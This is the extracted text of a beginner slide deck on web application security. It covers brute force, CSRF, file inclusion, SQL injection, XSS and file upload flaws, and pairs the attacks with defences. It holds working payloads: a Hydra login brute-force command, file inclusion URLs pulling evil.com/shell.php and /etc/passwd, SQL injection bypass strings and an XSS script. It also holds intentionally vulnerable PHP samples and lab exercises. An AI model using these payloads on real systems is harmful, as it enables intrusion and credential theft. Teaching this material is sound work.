You are on page 1of 91

Web Application

Security
for Beginners - Part 2
Adzmely Mansor
adzmely@gmail.com

Objective(s)
aid to better understand common exploitable vulnerabilities,
how it been exploit, and reversely (re)develop a defensive
mechanism securing web application deployed through best
practice

Information Leakage &


Improper Error Handling

Information Leakage
Application can unintentionally leak:
information about their configuration or internal
workings
internal state via how long they take to process certain
operations or via different responses to different inputs
information about their internal state through detailed or
debug error messages

Information Leakage
This information can be leveraged to launch or even
automate more powerful attacks
Possible information harvest:
Server (OS, version, ...)
Programming language (Language, version, ...)
Database (Oracle, MySQL, ...) - (Version, Schema, ...)
Debug/Error/Stacktraces - SQL Statement...

Information Leakage
Exercise: open http://demo.testfire.net
try to find as many as information possible

Information Leakage

Brute Force Attack

Brute Force Attacks


attempt to discover a password systematically
trying every possible combinations
until correct combination found
takes time - depend on password combination and
complexity

Brute Force Attacks


brute force automation?
THC-Hydra
ultra fast network logon cracker
free - http://www.thc.org/thc-hydra/

Brute Force Attacks


brute force automation?
THC-Hydra supporting cracks for :
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,
HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPSFORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MSSQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere,
PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP,
SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2),
Telnet, VMware-Auth, VNC and XMPP.

Blocking Brute Force Attack


Locking Accounts
after several number of failed attempts
last at specific duration
admin intervention to un-lock
not the best option - possibility of mass DOS

Blocking Brute Force Attack


do not use PREDICTABLE behavior
random fail/error messages
CAPTCHA after several failed attempt
second level password / secret question / OTP-SMS
combination of techniques

Blocking Brute Force Attack


The Best Solution :
Enforce Complex Password
Pass Phrase instead of Pass word

Brute Force Attacks


common password list?
http://contest-2010.korelogic.com/wordlist.html
http://dazzlepod.com/site_media/txt/passwords.txt
etc

Brute Force Attacks


ssh brute force:

Brute Force Attacks


http POST form brute force:

Brute Force Attacks


Exercise: http-post brute force attack
hydra -V -l admin -P passwd.dic example.com http-post-form "/login.php:login=^USER^&pass=^PASS^&Submit=Login:Login Failed"

open: http://demo.testfire.net/
go to login page
view the html source
craft your hydra brute force attack

Code Execution

Code Execution
ability to execute command(s)/code on a target machine or
in a target process
inject and execute shell code / scripting code
ability to fully take control of the target machine

PHP/Code Injection
this is silly, hopefully nobody doing it:

Shell/Code Injection
this is silly, hopefully nobody doing it:

Code Injection Prevention


Never trust user input(s)
sanitize
htmlentities / htmlspecialchars
strip_tags
etc

Code Injection Prevention


Avoid using system/exec/shell_exec if possible
have to, make sure you sanitize and validate user input:

Code Execution: Exercise


open: http://188.241.117.154/__dv__/
go to Command Execution menu
display /etc/passwd file

Cross Site Request


Forgery - CSRF

Cross Site Request Forgery


also known as one click attack or session riding
works by forces/tricks an end user to execute unwanted
actions on a web application in which he/she is currently
authenticated
by sending through social engineering such as
sending link via email/chat/etc
can compromised end user data/operation and even
the entire web application

Cross Site Request Forgery


ever see a link like this:

Cross Site Request Forgery


and the actual facts id are in sequence:

Cross Site Request Forgery


session validation user validation
0

Cross Site Request Forgery


N

T
O

F
SR
C

Case 1: in some if not most cases, there is NO:


session checking for authenticated user
no validation of authorized user
authorized to delete your own POST, but
knowing the id sequence number anybody can
delete random POST of a random user

Cross Site Request Forgery


Case 2: do things the right way, but no CSRF protection
session checking for authenticated user
validate as authorized user

Cross Site Request Forgery


Case 2: do things the right way, but no CSRF protection
Bro check this out, Rainbow ABC

Cross Site Request Forgery


POST method will not save you ... !!!

Click for More

Cross Site Request Forgery


POST method will not save you ... !!!

Cross Site Request Forgery


POST method will not save you ... !!!

Cross Site Request Forgery


Famous CSRF attacks....
INGDirect.com
able to transfer funds out of user bank account...

YouTube.com
added video to a users Favourites, flagged videos as in
appropriate, etc....

etc
SOURCE: https://freedom-to-tinker.com/blog/wzeller/popular-websites-vulnerable-cross-site-request-forgery-attacks/

Cross Site Request Forgery


CSRF Preventions - user level
can mitigate CSRF risks by:
logging out
dont Remember Me

Cross Site Request Forgery


CSRF Preventions - web sites countermeasures
CSRF token in all forms
limiting lifetime of sessions cookies

Cross Site Request Forgery


CSRF token - using (PHP) noCSRF class
// Tokens are stored in session so you
// have to initialize session data
session_start();
// Then include the NoCSRF class
require_once('nocsrf.php');
// Generate CSRF token to use in form hidden field
$token = NoCSRF::generate( 'csrf_token' );
<form name="csrf_form" action="#" method="post">
<input type="hidden" name="csrf_token" value="<?php echo $token; ?>">
...Other form inputs...
<input type="submit" value="Send form">
</form>

SOURCE: https://github.com/BKcore/NoCSRF

Cross Site Request Forgery


CSRF token - using (PHP) noCSRF class
try
{
// Run CSRF check, on POST data, in exception mode,
// with a validity of 10 minutes, in one-time mode.
NoCSRF::check( 'csrf_token', $_POST, true, 60*10, false );
// form parsing, DB inserts, etc.
}
catch ( Exception $e )
{
// CSRF attack detected
// discard request
}

File Inclusion Exploit

File Inclusion Exploit


Local/Remote File Inclusion
it allows attacker to include local/remote file
possible because of user-supplied input without proper
validation

File Inclusion Exploit


Local/Remote File Inclusion can lead to
code execution on the web server
code execution on the client side through javascript and
can lead to another attacks such as XSS - Cross Site
Scripting
Denial of Service (DoS)
Data Theft/Manipulation

File Inclusion Exploit


LFI/RFI Examples:
// This is obviously bad.. !
//
<?php
if (isset( $_GET['page'] )){
include( $_GET['page'] );
}
?>
<form method="get">
<select name="page">
<option value="news.php">Latest News</option>
<option value="research.php">Research</option>
</select>
<input type="submit">
</form>

File Inclusion Exploit


LFI/RFI Examples:
Remote File Inclusion (RFI):
/vulnCode.php?page=http://evil.com/shell.php
Local File Inclusion (LFI):
/vulnCode.php?page=/etc/passwd

File Inclusion Exploit


LFI/RFI Examples:
// How about appending with .php
//
<?php
if (isset( $_GET['page'] )){
include( $_GET['page'] . .php );
}
?>
<form method="get">
<select name="page">
<option value="news">Latest News</option>
<option value="research">Research</option>
</select>
<input type="submit">
</form>

File Inclusion Exploit


LFI/RFI Examples:
Remote File Inclusion (RFI):
/vulnCode.php?page=http://evil.com/shell.php?
Local File Inclusion (LFI):

? cause .php
considered as URI

/vulnCode.php?page=/tmp/phpcode
/vulnCode.php?page=/etc/passwd%00

er
t
c
a
har
C
e
Byt
l
l
Nu

File Inclusion Exploit

Exercise:
open: http://188.241.117.154/__dv__/

Null Byte Injection


%00

Null-Byte Injection
URL/WEB presentation as - %00
termination character / terminator
alter the intended logic of the application
// How about appending with .php
//
<?php
if (isset( $_GET['page'] )){
include( $_GET['page'] . .php );
}
?>
// http://www.example.com/vulnCode.php?page=/etc/passwd%00.php

Solution for Null-Byte/LFI/RFI


input VALIDATION eg: by using whitelist array

Null-Byte Injection
Exercise: Open: http://demo.testfire.net
file boot.ini located in root directory, by using null byte
injection try to find a way to load the file

SQL Injection

SQL Injection
means - tricking an application into including unintended
SQL commands in the data sent to a backend interpreter
backend interpreter take strings and interpret them as
commands

SQL Injection
occurs when user input is not filtered for escape characters
manipulation of SQL statements
no sanitization of user input
no type casting
not using proper method in query
placeholder

SQL Injection
Typical Impact
spy out or manipulate data
manipulate the DB server or access underlying OS
bypass authentication or gain admin privileges
Correlation with information leakage
attackers use error messages or codes to verify the
success of an attack and gather informations

SQL Injection

http://example.com/news.php?newsID= OR 1=1 --%20


SELECT * FROM users WHERE name = '' OR '1'='1' -- '
http://example.com/news.php?newsID= OR 1=1 --%20
SELECT * FROM users WHERE name = '' OR 1=1 -- '

SQL Injection
Bypass Authentication
admin -admin #
admin /*
or 1=1 - or 1=1 #

SQL Injection
by using placeholder method in SQL statement

SQL Injection: Exercise


Open: http://demo.testfire.net
Task 1: Attempt to login without proper user credentials
Task 2: Read all user account names and password from
database
given the table name is users and the fields are:
userid, username & password

XSS
Cross Site Scripting

Cross Site Scripting


typical vulnerability found in web application
enable to inject client-side script in web pages viewed
mainly because of not safely sanitizing/validating user input
two main types
non persistent XSS / reflected
persistent XSS / stored

Cross Site Scripting


non persistent XSS example:

// successfully attack by simple embed XSS attack in URI


//
index.php?name=guest<script>alert('attacked')</script>

Cross Site Scripting


XSS Preventions:
Data validation
<?php
// validate a US phone number
if (preg_match('/^((1-)?\d{3}-)\d{3}-\d{4}$/', $phone)) {
echo $phone . " is valid format.";
}

Cross Site Scripting


XSS Preventions:
Data sanitzation
<?php
// sanitize HTML from the comment3
$comment = strip_tags($_POST["comment"]);
?>

Cross Site Scripting


XSS Preventions:
Output Escaping
<?php
// escape output sent to the browser
echo "You searched for: " . htmlspecialchars($_GET["query"]);
?>

Cross Site Scripting


XSS Preventions:
URL-Encode URL Query String Parameters
<?php
// URL Encode query string parameters
echo "<a href=http://example.com/?name=.urlencode($name).>;
?>

Cross Site Scripting: Exercise


Open: http://demo.testfire.net
Task 1: Find XSS from the page
Task 2: display value of amSessionId from page/site
cookie

File Upload

File Upload
allowing a user to upload a file in a website:
potentially opening a door for attacks/exploits
without validations and protections:
user can upload a server side script / shell code
possibility totally pawned the server easily

File Upload
File Upload to Document root without validation
malicious user can access directly uploaded file through
URL
putting the server totally vulnerable and open to
possibility of total compromised

File Upload
Sample exploitable file upload
// upload to document root / no validation / accessible via URL
//
<?php
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been
uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>

File Upload - Preventions


Mime Type Validation ?
a common mistake
eg: PHP $_FILES[uploadfile][type]
provided by the browser the user using
easily fake - by using automation tools / scripts /
etc

File Upload - Preventions


Block dangerous extensions / allow images extension only?
denied file upload other than image file extensions - jpg/
png/gif/etc
quite a big list of extensions
possibility overridden by .htaccess file
AddType application/x-httpd-php .jpg

File Upload - Preventions


Block dangerous extensions - NO .php extension?
file with additional/double extensions
evilCode.php.fr - language extension file
executed as PHP by apache

File Upload - Preventions


Block dangerous extensions - NO .php extension?
file with additional/double extensions
if you are using AddHandler directive in apache:
AddHandler php5-script .php

evilCode.php.jpg - will be executed as PHP script

File Upload - Preventions


Client-Side validation?
client side validation such as javascript can be edited/
disabled online on the fly using browser tools:
such as javascript console
by using chrome inspect element, you can directly
edit any part related on the fly
attacker can develop custom script to upload file

File Upload - Solution


by using .htaccess in your upload folder
set:
php_flag engine off

set the ownership to root/superuser and only readable


by others (apache/nobody) - 022 mask

File Upload - Solution


by using Directory directive in your httpd configuration
set:
<Directory /var/www/html/uploads>
php_flag engine off
</directory>

when everything else fails...

Resources Location
Prediction

Resources Prediction
scan web server using predicted list of common files/
folders/CGIs
outdated vulnerable server software
directories listing / traversal
etc

Resources Prediction
nikto - perl web scanner script

Social Engineering
Attack

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

https://www.facebook.com/notes/facebook-security/national-cybersecurityawareness-month-updates/10150335022240766

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

https://www.facebook.com/notes/facebook-security/national-cybersecurityawareness-month-updates/10150335022240766

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

choose a target - simply by knowing their email /


username / phone num / fullname - (Forgot your password)

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

Reset Password: two choices - email & sms

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

but!!! - No longer have access to these?

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

I Cannot Access My Email

TFA: FB Trusted Friend Attack


Ashar Javad (HITBKUL - 2013)

sometime you will be prompted with this:

You might also like